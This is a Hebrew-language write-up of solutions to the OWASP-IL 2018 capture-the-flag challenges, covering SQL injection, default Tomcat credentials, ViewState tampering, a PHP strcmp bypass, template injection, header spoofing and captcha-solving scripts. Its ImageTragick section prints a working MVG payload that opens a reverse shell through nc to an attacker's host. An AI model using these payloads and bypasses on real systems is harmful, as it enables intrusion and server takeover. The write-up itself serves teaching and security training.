
                                                                                               

 
 

 OWASP-IL 2018של  CTF-פתרון אתגרי ה

 שריקי יערהו אלבז גל, סלומון אייל, מזרחי ליעד, ברדה דיקלה, בוקסינר אלון, זאיקין רומן, קניןו ערןמאת 

 

 מבוא

הישראלי. השנה הכנס התארח באוניברסיטת תל אביב  OWASP AppSecכבכל שנה, התקיים כנס 

שכלל אתגרים מעניינים  CTF-שעות לטובת פתרון ה 24במהלך הכנס הוקצו  .5-6.09.2018בתאריכים 

 .ומאתגרים כאחד

במסמך זה נתאר ונפרט לקוראי המגזין את הפתרון של כל אחד מהאתגרים ובאילו כלים ועקרונות מעולם 

 השתמשנו בדרך לפתרון. Application Security-ה

 :Hard-ו Easy ,Mediumרמות,  3-חולקו ל CTF-אתגרי ה

 

 

 

 ...Easy-נתחיל מ
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 devDucksאתגר 

 

 זהו האתגר הקל ביותר מבין כל האתגרים ולכן נדרש רק מעט פייתון על מנת לפתור אותו.

 , מצד ימין. מה שנראה כך:consoleמלא ואף מוצג אייקון קטן, סמל של  exception traceבאתגר מוצג 

 

 לחיצה על האייקון תפתח לנו מסוף:
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 subprocessלמודול  importביצענו  בכל מערכת הקבצים וגילינו שלא. flag.txtחיפשנו אם קיים קובץ בשם 

( ולהבין היכן אנחנו נמצאים ואילו קבצים pwd, ls -lפקודות ) 2הצלחנו להריץ Popen ובעזרת המתודה 

 :רוסים לפנינופ

 

 ונקבל את הדגל הבא: cat. נביט בתוכנו באמצעות הפקודה index.pyהסתתר הקובץ  appבתוך תיקיית 
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 OWASP University אתגר

 

באתגר זה אנו צריכים להעלות כרטיס סטודנט לאתר האוניברסיטה כך שהפרטים בו יתאימו לפרטים 

 את התמונה המקורית לאתר נקבל שגיאה:הקיימים במסד הנתונים. אם ננסה להעלות 

 

. מכיוון שאנו מעלים כרטיס סטודנט, המחשבה הראשונה  security code-השדה שמעניין אותנו הוא ה

 (.steganographyהייתה להשתמש בתמונה המקורית ולנסות לחפש האם הדגל מוסתר בתמונה עצמה )

שהעמקנו בכיוון הנ"ל כך הבנו כי זהו מבוי  . ככל gimpבדיקה קצרה העלתה שהתמונה נערכה בתוכנה

( על מנת לקרוא OCRסתום. בשלב זה, שמנו לב כי האתר משתמש בטכנולוגיה לזיהוי טקסט בתמונה )

 את תוכן השדות של הכרטיס. 

 בכל השדות, SQL Injectionהשתמשנו בצייר על מנת לערוך את שדות הכרטיס וניסנו לבצע 

 וקח קבלנו את הדגל. security codeההזרקה בוצע בשדה 

 
 OWASP-IL{I_Love_Little_Bobby_Drop_Tables} הדגל:
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 No Pain No Gain אתגר

 

 לאחר הכניסה לדף האתגר, קבלנו דף אינטרנט סטטי הנראה כך:

 

 על מנת לזהות את הטכנולוגיה של צד השרת, החלטנו לגרום לשגיאה ע"י גלישה לנתיב לא קיים:

 

. כעת 7.0.90בגרסה  Apache Tomcatהודות לפירוט ההודעה החוזרת ניתן לראות כי מדובר בשרת 

 התחלנו במיפוי האפשרויות להשתלטות על השרת והשגת הדגל.
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. manager/, הצלחנו לגשת לנתיב Apache Tomcatלאחר מספר ניסיונות לגשת לנתיבי ברירת מחדל של 

לנהל את השרתים ע"י שימוש בפאנל ניהול  Apache Tomcatשרתי מאפשרת לבעלי  managerאפליקציית 

 :המוגן באמצעות שם משתמש וסיסמא

 

מוגדרת באמצעות הגדרות ברירת מחדל, כך שניתן לנחש  manager-במקרה זה, מצאנו כי אפליקציית ה

 .tomcat-users.xmlאת שם המשתמש והסיסמא לפאנל ע"י הצצה בקובץ 

 

ת לפאנל הניהול הסתכלנו על אפשרויות הניתוב בשרת וכך הגענו לנתיב הבא לאחר התחברות מוצלח

/iAmTh3FlagAndYouCantFindMe:גלישה לנתיב מחזירה את הדגל . 

 

http://challenges.owaspil.ctf.today:8092/iAmTh3FlagAndYouCantFindMe/
http://challenges.owaspil.ctf.today:8092/iAmTh3FlagAndYouCantFindMe/
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 Curriculum Vitea אתגר

 

נביט בקוד המקור של דף האתגר. , כיצד פרצו לאתר ולאתר את ליקוי האבטחהמטרת האתגר היא למצוא 

 ניתן לראות את הסקריפט הבא:

<script> 

    eval(function(p,a,c,k,e,r){e=function(c){return 

c.toString(a)};if(!''.replace(/^/,String)){while(c--

)r[e(c)]=k[c]||e(c);k=[function(e){return 

r[e]}];e=function(){return'\\w+'};c=1};while(c--)if(k[c])p=p.replace(new 

RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p}('7(0(){9},c);"e 4";5.6=1;0 1(){8 

a=b.3("d");2.f(a,0(){g(h(2.i(j,"k").l("").m().n("")))})}',24,24,'function|getExi

f|EXIF|getElementById|strict|window|onload|setInterval|var|debugger||document|10

0|profileImage|use|getData|eval|atob|getTag|this|Model|split|reverse|join'.split

('|'),0,{})) 

</script> 

 :getExifונסתכל על הפונקציה  Beatifyנייפה אותו בעזרת 

function getExif() { 

    var a = document.getElementById("profileImage"); 

    EXIF.getData(a, function() { 

        eval(atob(EXIF.getTag(this, "Model").split("").reverse().join(""))) 

    }) 

} 

שלה תגית בשם  EXIF Metadata-ניתן לראות שהקוד לוקח את תמונת הפרופיל מהאתר ומחפש ב

Modelלאחר מכן הוא הופך המידע שקיבל, מפענח אותו כ .-base64  ומריץ את התוצאה באמצעות

 . evalהפונקציה 
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 :EXIF toolשלה בעזרת הכלי  metadata-נוריד את תמונת הפרופיל מהדף ונסתכל על ה

 

פט. בשלב ראשון נפענח תוכן ונחזור על הצעדים שראינו בסקרי Camera Model Nameנביט בשדה 

 נקבל: Beatify. אחרי Base64המקודד באמצעות  Camera Model Nameהשדה 

function verify(a) { 

    if (a.charCodeAt(0x0) == "79" && a.charCodeAt(0x1) == "87" && a.charCodeAt(0x2) == 

"65" && a.charCodeAt(0x3) == "83" && a.charCodeAt(0x4) == "80" && a.charCodeAt(0x5) == 

"45" && a.charCodeAt(0x6) == "73" && a.charCodeAt(0x7) == "76" && a.charCodeAt(0x8) == 

"123" && a.charCodeAt(0x9) == "74" && a.charCodeAt(0xa) == "52" && a.charCodeAt(0xb) == 

"118" && a.charCodeAt(0xc) == "52" && a.charCodeAt(0xd) == "83" && a.charCodeAt(0xe) == 

"99" && a.charCodeAt(0xf) == "114" && a.charCodeAt(0x10) == "49" && a.charCodeAt(0x11) == 

"112" && a.charCodeAt(0x12) == "116" && a.charCodeAt(0x13) == "78" && a.charCodeAt(0x14) 

== "105" && a.charCodeAt(0x15) == "110" && a.charCodeAt(0x16) == "106" && 

a.charCodeAt(0x17) == "52" && a.charCodeAt(0x18) == "33" && a.charCodeAt(0x19) == "125") { 

        console.log("Contratz! You got the flag!\nFlag: " + a) 

    } else { 

        console.log("You are so wrong.. :)") 

    } 

} 

. נשאר רק לתרגם ASCIIומשווה את התווים בה לפי הסדר לתווי  aהפונקציה עושה בדיקה על המחרוזת 

 לטקסט ונקבל את הדגל: ASCII-את ה

OWASP-IL{J4v4Scr1ptNinj4!} 
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 Break the Captcha אתגר

 

 שניות. 30-ב captchaאתגרי  15באתגר זה אנו נדרשים לפתור 

 

וישלח אותו  captcha-נדרשנו לכתוב סקריפט פייתרון קצר שיפתור את העל מנת לפתור את האתגר 

 :חזרה לאתר

from PIL import Image 

import re 

import requests 

import pytesseract 

 

 

def get_captcha(): 

    text = pytesseract.image_to_string(Image.open('a.png')) 

    return text.strip() 

 

 

def get_image(): 

    response = requests.get(captcha_url, cookies=cookies) 

    if response.status_code == 200: 

        with open("a.png", 'wb') as f: 

            f.write(response.content) 

 

# 

# Global Configurations 

# 

url = 'http://challenges.owaspil.ctf.today:8088/' 

captcha_url = "http://challenges.owaspil.ctf.today:8088/captcha.php" 

cookies = dict(PHPSESSID="79ee09d15fa4acf22b1b8fcfae430539") 

headers = {'content-type': 'application/x-www-form-urlencoded'} 

 

while True: 
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    get_image() 

    code = get_captcha() 

 

    response = requests.post(url, cookies=cookies, 

data="captcha={0}&submit=".format(code), headers=headers) 

    if "Oh snap! you are wrong!" in response.text: 

        print "[-] Bad captcha!" 

    elif "Correct!" in response.text: 

        print "[+] Correct!" 

    else: 

        flag = re.search("{(.+?)}", response.text).group(1) 

        print "[*] FLAG: OWASP-IL{{{0}}}".format(flag) 

 

        raw_input("[*] Done!") 

 :סקריפטה לע הסבר

 כדי להוציא את התמונה מהאתר ושומרת אותה requestsמשתמשת במודול  get_imageהפונקציה 

-)חבילה של פייתון לעבודה עם תמונות( ו PILמשתמשת במודולים  get_captchaהפונקציה  מקומית.

pytesseract  כלי מבוסס(OCR .)המשמש לקריאת טקסט בתוך תמונה 

שנשלחת כאשר לוחצים  POST-על מנת לראות אילו פרמטרים מועברים בבקשת ה Suite  Burpנפתח

submit :ניתן לראות כי הפרמטרים הם .captcha ו-submit: 

 

לאחר הרצת  שלנו. cookie-חדשה עם הפרמטרים שהזכרנו קודם בנוסף ל POSTכעת, ניצור בקשת 

 הסקריפט נקבל:
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 Around the world אתגר

 

ביצענו  המדינות המופיעות בתשובות השרת. 16של  IPבאתגר זה התבקשנו לגשת לשרת מכתובת 

 ובתשובה קיבלנו את הפלט הבא: http://challenges.owaspil.ctf.today:8094בקשה לדף הראשי 

 

 בכדי להבין טוב יותר כיצד עובד האתגר מאחורי הקלעים:  Burp Suiteהשתמשנו בכלי 

 

בכדי לפנות לשרת מהמדינה המבוקשת )לדוגמא, בבקשה הראשונה השרת ביקש שנפנה אליו 

 של ארגנטינה.   Proxy IP" יחד עםX-Forwarded-Forמארגנטינה( הוספנו את הכותר "

http://challenges.owaspil.ctf.today:8094/
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של המשתמש  IP-ות את מקור כתובת ה( לבקשה היא שיטה מקובלת כדי לזהXFFהוספת כותר הנ"ל )

 הבאה: . שלחנו את הבקשהHTTP PROXYשמתחבר לשרת באמצעות 

 

. כמו כן אפשר לראות 1-ובתשובה קיבלנו כי השרת אכן ראה שהגענו מארגנטינה והמונה קפץ ל

  חדש. נשתמש בעוגייה החדשה בזיוף של הבקשה הבאה מהמדינה המבוקשת  SESSION COOKIEשנוצר

(Albania) מדינות כמבוקש. 16-וכך נמשיך לבצע פניות מ 

 על מנת לבצע את כל הפניות בצורה אוטומטית כתבנו את הקוד הבא אשר מבצע את הפעולות הבאות:

 https://www.worldatlas.com/aatlas/ctycodes.htmמוריד את רשימת המדינות מהאתר  .1

 Session Cookie-פונה אל השרת ומקבל בתשובה שם של מדינה ו .2

 מחפש עבור המדינה מהו הקוד שלה )שתי אותיות המסמנות אותה בקיצור( בעזרת רשימת המדינות .3

עם הקוד מדינה  nirsoftמרכזיים לכל מדינה באתר של  IPמשתמש בפונקציה של מציאת כתובות  .4

 שמצאנו בשלב הקודם

 המוצעות IP-חדש עם אחת מכתובות ה XFFיוצר כותר  .5

 החדש XFFשקיבלנו והכותר  Session Cookie-יוצר בקשה חדשה עם ה .6

 שולח את הבקשה לשרת .7

 עד לקבלת הדגל 7עד  2חוזר על שלבים  .8

#!/usr/bin/python 

import re 

import requests 

import urllib3 

urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning) 

 

 

def get_next_ip(country_name): 

    code = re.search(r'{0}\s([A-Z][A-Z])'.format(country_name), 

country_codes).group(1).lower() 

    new_url = "https://www.nirsoft.net/countryip/{0}.html".format(code) 

    response = requests.get(new_url, verify=False) 

    new_ip = re.findall(r'(?:[0-9]{1,3}\.){3}[0-9]{1,3}', response.text)[2] 

https://www.worldatlas.com/aatlas/ctycodes.htm
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    return new_ip 

 

# 

# Global Configurations 

# 

 

country_codes = open("country_codes").read() 

url = 'http://challenges.owaspil.ctf.today:8094/' 

headers = {} 

 

session = requests.session() 

response = session.get(url) 

 

for i in xrange(17): 

    country_name = str(response.content).split("from")[1].split("(")[0].strip() 

    new_ip = get_next_ip(country_name) 

 

    print "[+] country {0} ip {1}".format(country_name, new_ip) 

    headers['X-Forwarded-For'] = new_ip 

 

    response = session.get(url, headers=headers) 

    if "OWASP-IL" in response.text: 

        print "[*] {0}".format(response.text) 

 קבלנו את הדגל:לאחר הרצת הקוד 

 

 !Medium, כעת נגש לפתור את האתגרים ברמת Easyשלב זה פתרנו את כל האתגרים ברמת עד 
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 LazyAdmin אתגר

 

ומעקף הרשאות, מטרת האתגר להגיע לרמת  ASP.NET-ב ViewState Tampering-אתגר זה עוסק ב

של משתמש רגיל ועלינו  עם הכניסה לאתגר קיבלנו שם משתמש וסיסמא ההרשאות של מנהל המערכת.

 למצוא דרך להתחבר עם הרשאות של מנהל המערכת על מנת לקבל את הדגל.

 כשנכנסים לאתגר מקבלים דף התחברות:

 

 הקשה של שם המשתמש והסיסמא שניתנו לנו בתחילת האתגר מחזירה את התשובה הבאה:

 

-רת נעשה שימוש בטכנולוגיית, כלומר בצד השaspxניתן לראות שהדפים של השרת מסתיימים בסיומת 

ASP.NET. 

 ( https://portswigger.net/burpהידוע ) Burp Suiteעל מנת לחקור את הבקשות בממשק, נעזר בכלי 

https://portswigger.net/burp
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מנת אנו נשתמש בכלי על  בין עמדת הקצה לבין השרת אותו אנו מבקשים לבדוק. Proxy-כלי זה משמש כ

 לראות את הבקשות הנשלחות לצד השרת:

 

ביחד עם שם  POST-אשר נשלח בבקשת ה  ViewState-נביט על הבקשה שנשלחה ונשים לב לפרמטר

 המשתמש והסיסמא. 

נשמר בין  viewState-המידע ב .PHPבשפת  session-מאפשר לשמור נתונים, באופן דומה ל ViewState-ה

נביט על קוד  הנשלח בכל בקשה.  inputבשדה viewState-ליחת ההקריאות החוזרות לדף על ידי ש

מעורבל, ללא יכולת פענוח לעת עתה. ממבט נוסף על  ViewState-המקור של הדף ונראה שהשדה של ה

 השדה מצאנו כי תוכן השדה מקודד ולא מוצפן.

 :אשר ניתן להוריד מהקישור הבא ViewStateHackerלכן החלטנו להשתמש בתוכנה 

http://www.woanware.co.uk/application/viewstatehacker.html  

 

על מנת להשיג את  true-אז השלב הבא שלנו יהיה להפוך אותו ל false-מוגדר כ  isAdmin-ניתן לראות ש

 הדגל.

 

http://www.woanware.co.uk/application/viewstatehacker.html
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 Input-מקוד המקור של הדף בשדה ה  ViewState-ניקח את ה isAdminעל מנת לשנות את הפרמטר 

 :General-ונכניס אותו ללשונית ה

 

-ולאחר מכן נלחץ על כפתור ה True-ל Falseמהערך  isAdminונשנה את תוכן השדה  Decode-ונלחץ על

Encode :מה שיראה כך 

 

 ViewState-שוב לאתר עם הפרטים שקיבלנו באתגר, ולשנות את הכל שנשאר לנו לעשות הוא להתחבר 

 ונקבל את הדגל:
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 Image Converter אתגר

 

לאחר  . JPG, MVG, WEBP,GIF: אתגר זה מאפשר לנו להעלות קובץ תמונה באחד מהפורמטים הבאים

 :PNG-העלאת הקובץ בפורמט המתאים, השירות יבצע המרה של הפורמט ל

 

אשר עוזר לנו להבין כי  MVGלאחר סקירת הפורמטים האפשריים להעלאת התמונה, נתמקד בפורמט 

 בכדי לבצע את תהליך המרת התמונה בצד השרת. imagemagickנעשה שימוש בספריית 

פרסום הפגיעות  - 2016סקירה קצרה של ליקויי האבטחה הקיימים לספרייה מחזירה אותנו לשנת 

אשר מאפשרת לתוקף להריץ קוד על צד השרת ע"י הזרקה לתמונה בפורמט  ImageTragick”הנקראת "

MVG. לפרטים נוספים אודות הפגיעות ניתן לפנות ל-https://imagetragick.com/ תוכן קובץ ה .MVG 

 שלנו נראה כך:

push graphic-context  

viewbox 0 0 640 480 

fill 'url(https://example.com/image.jpg"|mknod /tmp/pipez p;/bin/sh 

0</tmp/pipez|nc [HOST] [PORT] 1>/tmp/pipez;rm -rf "/tmp/pipez)' 

pop graphic-context 

https://imagetragick.com/
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בעת המרת הקובץ עם התוכן שלעיל, שרת האתגר יבצע התקשרות לשרת בשליטתנו ויעביר אלינו את 

 מערכת על השרת. האפשרות להריץ פקודות

 :nc -lvp 1337באמצעות פקודת  1337לצורך הכנת התשתית, יצרנו האזנה לפורט 

 

 לשרת האתגר. Exploit-המכיל את ה MVG-כעת כל שניתן לעשות זה להעלות את קובץ ה

 

 שליטה על שרת האתגר ע"י הרצת פקודות מערכת ומציאת הדגל:

 

 קובץ זה מכיל את הדגל:
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 The Bug אתגר

 

באתגר זה קיבלנו אפליקציית מחשבון המאפשרת לבצע מספר פעולות אריתמטיות )כגון: חילוק, כפל, 

 :חיבור וחיסור(

 

מקריאת תיאור האתגר ניתן להעסיק שעלינו לגרום לצד השרת להחזיר לנו שגיאה שתכיל מידע רגיש 

 -טנו לבצע שגיאה לוגית בסיסית לאחר מספר ניסיונות החל כלשהו על המערכת ובין היתר גם את הדגל.

 :console-ובכך קבלנו את הדגל ב .0-חלוקה ב
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 The Code אתגר

 

. בקטע קוד זה מתקיימת בדיקת קלט של המשתמש לצורך ביצוע PHPבאתגר זה קיבלנו קטע קוד בשפת 

 הזדהות למערכת. להלן קטע הקוד:

<?php 

require_once('config.php'); 

function check_param($param) { 

    return (isset($_POST[$param]) && !empty($_POST[$param])); 

} 

 

if (check_param('username') && strcmp($AUTH_USER, $_POST['username']) == 0 && 

check_param('md5') && strcmp($AUTH_MD5, $_POST['md5']) == 0) { 

    $_SESSION['connected'] = 1; 

    header('Location: /index.php'); 

    exit(); 

} 

?> 

על מנת לפתור את האתגר, נצטרך לעקוף את בדיקת הקלט הנעשית באמצעות שימוש בפונקציית 

strcmp  בשפתPHP פונקציית .strcmp במידה  0-מבצעת השוואה בין שתי מחרוזות ומחזירה ערך שווה ל

 והמחרוזות שוות זו לזו.

, (http://php.net/manual/en/function.strcmp.phpלקרוא בהרחבה על הפונקציה בלינק הבא:)ניתן 

 מכיוון שיש התאמה בין המחרוזת: 0להלן דוגמא לשימוש בפונקציה, הדוגמא הבאה תחזיר את הערך 

<?php 

    $a = "aaa"; 

    $b = "aaa"; 

    $c = strcmp($a,$b); 

    print $c #print 0 

?> 

על מנת  PHP-לאחר מספר ניסיונות כושלים לעקיפת המנגנון, החלטנו לבסוף להשתמש במערך ריק ב

 .nullמאחר והשוואה בין מערך ריק לבין מחרוזת תחזיר ערך  strcmpלשבש את ההתנהגות של פונקציית 

  

http://php.net/manual/en/function.strcmp.php
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 :0הוא  nullהערך המספרי של הערך  PHPבשפת  

<?php 

    $a = "aaa"; 

    $b = array(); 

    strcmp($a,$b); 

?> 

 POST[‘md5’]_$-ו POST[‘username’]_$לסיכום, כל מה שנותר לעשות הוא לשנות את הפרמטרים 

 :ולקבל את הדגל strcmpובכך לעקוף את פונקציית  PHP-למשתנה מסוג מערך ריק ב

 

 הדגל:
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 Recommendation Generator אתגר

 

בלינק הבא:  וא. על נושא זה ניתן לקרServer Side Template Injection-אתגר זה עוסק ב

(injection-template-side-https://portswigger.net/blog/server.) 

עם הכניסה לאתגר נקבל שני שדות טקסט כאשר בשדה הראשון יש להזין שם משתמש עליו נרצה 

 firefox-לאחר סריקת צד השרת על ידי התוסף ל להמליץ ובשדה השני את שם המשתמש הממליץ.

 :python-ראינו שמדובר ב Wappalyzerהנקרא 

 

וניסנו לבצע  Jinja2-, ניחשנו כי מדובר בframework-בשונה משיטת העבודה הרגילה הכוללת זיהוי של ה

Local File Inclusion על ידי שימוש ב-payload מרשימת ה-Server Side Template Injection ב-Github: 

https://github.com/swisskyrepo/PayloadsAllTheThings/blob/2a080f82e68d6c5a91050f1f8a240b

b0d2d708e2/Server%20Side%20Template%20injections/README.md 

  

https://portswigger.net/blog/server-side-template-injection
https://github.com/swisskyrepo/PayloadsAllTheThings/blob/2a080f82e68d6c5a91050f1f8a240bb0d2d708e2/Server%20Side%20Template%20injections/README.md
https://github.com/swisskyrepo/PayloadsAllTheThings/blob/2a080f82e68d6c5a91050f1f8a240bb0d2d708e2/Server%20Side%20Template%20injections/README.md
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 :הציג לנו את הדגל Payload-ביצוע שינוי לקובץ והרצת ה
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 Around the world - REAL אתגר

 

של המדינה ממנה התבקשנו  IPאתגר זה הינו המשך לאתגר הקודם. המטרה היא לפנות לשרת מכתובת 

לפנות בכדי למצוא את הדגל, רק שהפעם עלינו באמת להוציא את הבקשה מהמדינה המבוקשת. )ללא 

 (XFFשימוש בטכניקת 

 ישנו הפלט הבא: http://challenges.owaspil.ctf.today:8095בדף הראשי של האתגר 

 

 upstreamניתן לראות שהשרת מבקש שנבצע פנייה מיפן. בכדי לפנות לשרת מהמדינה המבוקשת, נגדיר 

proxy ל-burp suite  הפרוקסי נלקח מהאתר: :808079.138.99.254כך שיבצע פנייה באמצעות הפרוקסי 

 https://www.proxynova.com/proxy-server-list/country-se/ 

 מכל העולם בצורה נוחה ומרוכזת, מה שנראה כך: proxyמכיל רשימה של שרתי  proxynovaאתר 

 

http://challenges.owaspil.ctf.today:8095/
https://www.proxynova.com/proxy-server-list/port-8080/
https://www.proxynova.com/proxy-server-list/country-se/
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כך  proxy-נוסף בשרשרת שרתי ה proxy, בעצם הוספנו שרת upstream proxyלאחר ההגדרה של 

 שהשרת יקבל את הפניה מהחבילה בה נמצא השרת. כעת התקבלה התשובה הבאה:

 

השרת המציינת את ההתקדמות שלנו ובנוסף קיבלנו הנחיה מהי המדינה ניתן לראות שקיבלנו עוגייה מצד 

 ממנה אנו נדרשים להוציא את הבקשה הבאה.

 על מנת לבצע את כל הפניות בצורה אוטומטית כתבנו את הקוד הבא אשר מבצע את הפעולות הבאות:

 https://www.worldatlas.com/aatlas/ctycodes.htmמוריד את רשימת המדינות מהאתר  .1

 Session Cookie-פונה אל השרת ומקבל בתשובה שם של מדינה ו .2

מחפש עבור המדינה מהו הקוד שלה )שתי אותיות המסמנות אותה בקיצור( בעזרת רשימת המדינות  .3

 שהורדנו מהאתר.

ומשתמשים בביטוי רגולרי כדי להוציא כתובת של  proxynovaלאחר מכן אנו מבצעים פנייה לאתר  .4

 אחד מרשימת הכתובות proxyשרת 

  Proxy-מבצעים פניה דרך שרת ה .5

a.  2במידה והפניה צלחה עוברים לסעיף 

b.  במידה והפניה לא צלחה עוברים לכתובת של השרת הבא ברשימה וממשיכים כך עד אשר

 נצליח להוציא את הפניה.

 ת הדגל אנו מפסיקים את האתגר ומדפיסים את הדגלבמידה וקבלנו בתשובה א .6

#!/usr/bin/python 

import re 

import requests 

import urllib3 

urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning) 

 

 

# 

# Global Configurations 

# 

 

country_codes = open("country_codes").read() 

url = 'http://challenges.owaspil.ctf.today:8095/' 

 

cookies = {'session': '.eJxlkc1qwzAQhF-

l6JyDSaNDDDlWcgwJOI21kksJ_gnIRHJNZOM6we9eQRtYN7fl2x1mhr2T8qtvOhKuFr_TtT67k6mdRx9

38lKQkKR23SmgrUo2GzIt_ugRmFPS3HJ4Q_TdskHBCpFExk0GNMiBakQb4bIlG-

dqAd2owPTZzCmR4lZFsS640fiWthUXly3bB0oeTDnMNPBdP2dOXyuTcdHjHLE-W-NQL7seqyWjT_7_-

https://www.worldatlas.com/aatlas/ctycodes.htm
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3MT5JHQhcWpUu7VkWgUDNiX69anH0ruu8kd2hy8f2H3hkyfjweMJHwYX0p_Ov0AP4l-

mQ.DoQ3vA.oHSf5k7aWnPQ0evrUxILmOjm1d8'} 

response = requests.get(url, cookies=cookies) 

 

for i in xrange(17): 

  country_name = response.text.split("from")[1].split("(")[0].strip() 

  code = re.search(r'{0}\s([A-Z][A-Z])'.format(country_name), 

country_codes).group(1).lower() 

  proxy_list = "https://www.proxynova.com/proxy-server-list/country-

{0}/".format(code) 

  response = requests.get(proxy_list, verify=False) 

 

  for proxy_part in response.text.split("data-proxy-id"): 

    ip_address = re.search(r"\b\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}\b|\b\d{1,3}\-

\d{1,3}\-\d{1,3}\-\d{1,3}\b", proxy_part) 

    if ip_address: 

      ip_address = ip_address.group() 

 

    port_address = re.search(r"Port (.*?) proxies", proxy_part) 

    if port_address: 

      port_address = port_address.group(1) 

 

    if ip_address and port_address: 

      proxy_dict = { 

        "http": "http://{0}:{1}".format(ip_address.replace("-", "."), 

port_address) 

      } 

      try: 

        response = requests.get(url, proxies=proxy_dict ,cookies=cookies) 

 

        # sometimes we have manually bypass the proxy 

        # print response.cookies["session"] 

        cookies["session"] = response.cookies["session"] 

 

        print "[+] {0}".format(response.text) 

 

        if "OWASP-IL" in response.text: 

          print "[*] {0}".format(response.text) 

          exit(0) 

 

        break 

 

      except Exception as e: 

        pass 

 לאחר הרצת הקוד קבלנו את הדגל:

 

 !Hard, הגיע הזמן לאתגרים ברמת Mediumעד כאן סיימנו לפתור את כלל האתגרים ברמת 
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 Break The Captcha - Nightmare אתגר

 

שניות, רק שהפעם מדובר באתגר המשך  30-ב captchaאתגרי  15בדומה לאתגר הקודם, עלנו לפתור 

מסובכת יותר ובנוסף  captchaניתן לראות שיש לנו הפעם  ודרגת הקושי של האתגר היא קשה יותר.

 :תרגיל מתמטי

 

על מנת לפתור את האתגר שכללנו את הסקריפט מהאתגר הקודם אשר יכול לפענח את התמונה ולהוציא 

 ממנה את הטקסט.

, בצענו מספר בקשות ושמרנו את captcha-כדי שיהיה ניתן להוציא את הטקסט עלינו תחילה לעבד את ה

 שהורדנו מהשרת. captcha-כל תמונות ה

ניתן היה לראות שכולם מכילים טקסט בצבע לבן והתמונה המתקבלת שונה מהבקשה לניתוח הטקסט. 

 שכלול הסקריפט התבטא בעיקר בביצוע המרה של הצבעים בתמונה באופן הבא:

 במידה והפיקסל לבן נחליף אותו לשחור. .1

 אותו ללבן.במידה והפיקסל מכיל צבע כלשהו נחליף  .2
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 קורא טקסט באופן מיטבי כאשר הטקסט בצבע שחור על גבי רקע לבן. pytesseractחשוב לציין כי המודול 

ImageFile.LOAD_TRUNCATED_IMAGES = True 

png_file = PngImagePlugin.Image.open('captcha.png') 

width, height = png_file.size 

 

for i in xrange(height): 

    # change captcha colors to work better with tesseract 

    for k in xrange(width): 

        ab = png_file.getpixel((k, i)) 

        if ab[0] != 255 or ab[1] != 255 or ab[2] != 255: 

            png_file.putpixel((k, i), (255, 255, 255)) 

        else: 

            png_file.putpixel((k, i), (0, 0, 0)) 

 

png_file.save("captcha2.png") 

 

text = pytesseract.image_to_string(Image.open('captcha2.png')) 

שחוזר מכיל תווים שאינם אותיות ומספרים ואינם מופיעים  text-בסוף התהליך שמנו לב שלפעמים ה

 .captcha-בפועל ב

 כתבנו את הקוד הבא אשר מסנן את כל התווים המיותרים ומנקה לנו את הטקסט:לכן 

# clean bad characters from captcha for example (space, backtick and so) 

return "".join(map(lambda data: data if data in string.ascii_letters or data in 

string.digits else "", text)) 

 שהצלחנו לנתח את התמונה כתבנו קוד שמבצע את הלוגיקה הבאה: לאחר

 מושכים את התרגיל המתמטי מהדף על ידי שליחת בקשה לכתובת: .1

http://challenges.owaspil.ctf.today:8085 

 :התרגיל נשלף ע"י ביטוי רגולרי

 מהדף על ידי שליחת בקשה לדף בכתובת: captcha-מושכים את ה .2

http://challenges.owaspil.ctf.today:8085/captcha.php 

 .ומורידים את התמונה

בקוד שהצגנו  אשר משתמשת ()fix_captchaמוציאים את הטקסט מהתמונה על ידי שימוש בפונקציה  .3

 קודם לכן.

שולחים את הבקשה עם כל הנתונים לשרת ומנתחים את התוצאה. אם התוצאה מכילה את הטקסט  .4

OWASP-IL .הצלחנו לפתור את האתגר 

 הקוד המלא נראה כך:

from PIL import Image, PngImagePlugin, ImageFile 

 

import requests 

import pytesseract 

import string 

import re 

import numexpr 

 

 

def fix_captcha(): 

    ImageFile.LOAD_TRUNCATED_IMAGES = True 

http://challenges.owaspil.ctf.today:8085/
http://challenges.owaspil.ctf.today:8085/captcha.php
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    png_file = PngImagePlugin.Image.open('captcha.png') 

    width, height = png_file.size 

 

    for i in xrange(height): 

        # change captcha colors to work better with tesseract 

        for k in xrange(width): 

            ab = png_file.getpixel((k, i)) 

            if ab[0] != 255 or ab[1] != 255 or ab[2] != 255: 

                png_file.putpixel((k, i), (255, 255, 255)) 

            else: 

                png_file.putpixel((k, i), (0, 0, 0)) 

 

    png_file.save("captcha2.png") 

 

    text = pytesseract.image_to_string(Image.open('captcha2.png')) 

 

    # clean bad characters from captcha for example (space, backtick and so) 

    return "".join(map(lambda data: data if data in string.ascii_letters or data 

in string.digits else "", text)) 

 

 

def get_captcha(): 

    response = requests.get(captcha_url, cookies=cookies) 

 

    if response.status_code == 200: 

        with open("captcha.png", 'wb') as f: 

            f.write(response.content) 

 

 

def get_number(response=None): 

    if not response: 

        response = requests.get(number_url, stream=True) 

 

    for line in response.iter_lines(): 

        if "math_question" in line: 

            re_value = re.search(">(.*?)=", line).group(1) 

            return numexpr.evaluate(re_value).item() 

 

# 

# Global Configurations 

# 

number_url = 'http://challenges.owaspil.ctf.today:8085/' 

captcha_url = "http://challenges.owaspil.ctf.today:8085/captcha.php" 

cookies = dict(PHPSESSID="d2b86e03ba22bb52b850a6670da284ac") 

headers = {'content-type': 'application/x-www-form-urlencoded'} 

 

number = get_number() 

 

while True: 

    get_captcha() 

    captcha = fix_captcha() 

 

    response = requests.post(number_url, 

                      cookies= cookies, 

                      data= 

"captcha={0}&math_captcha={1}&submit=".format(captcha, number), 

                      headers= headers, 

                      stream= True) 

 

    if "Oh snap! you are wrong!" in response.text: 

        print "[-] Bad captcha!" 

    elif "Correct!" in response.text: 

        print "[+] Correct!" 

    else: 

        flag = re.search("{(.+?)}", response.text).group(1) 

        print "[*] FLAG: OWASP-IL{{{0}}}".format(flag) 
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        raw_input("[*] Done!") 

 

 

    # set new number 

    number = get_number(response) 

 הרצנו את הקוד וקיבלנו את הדגל:
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 Flags, Flags, Flags אתגר

 

 ואיתור מידע ספציפי באתר המכיל תוכן רב. HTTP/2.0אתגר זה עוסק בניתוח תעבורת רשת בפרוטוקול 

איפשהו ביניהם, כך נראה נראה מטרת האתגר היא לבחון את הדגלים ולמצוא את הדגל שלנו שמסתתר 

 האתגר:

 

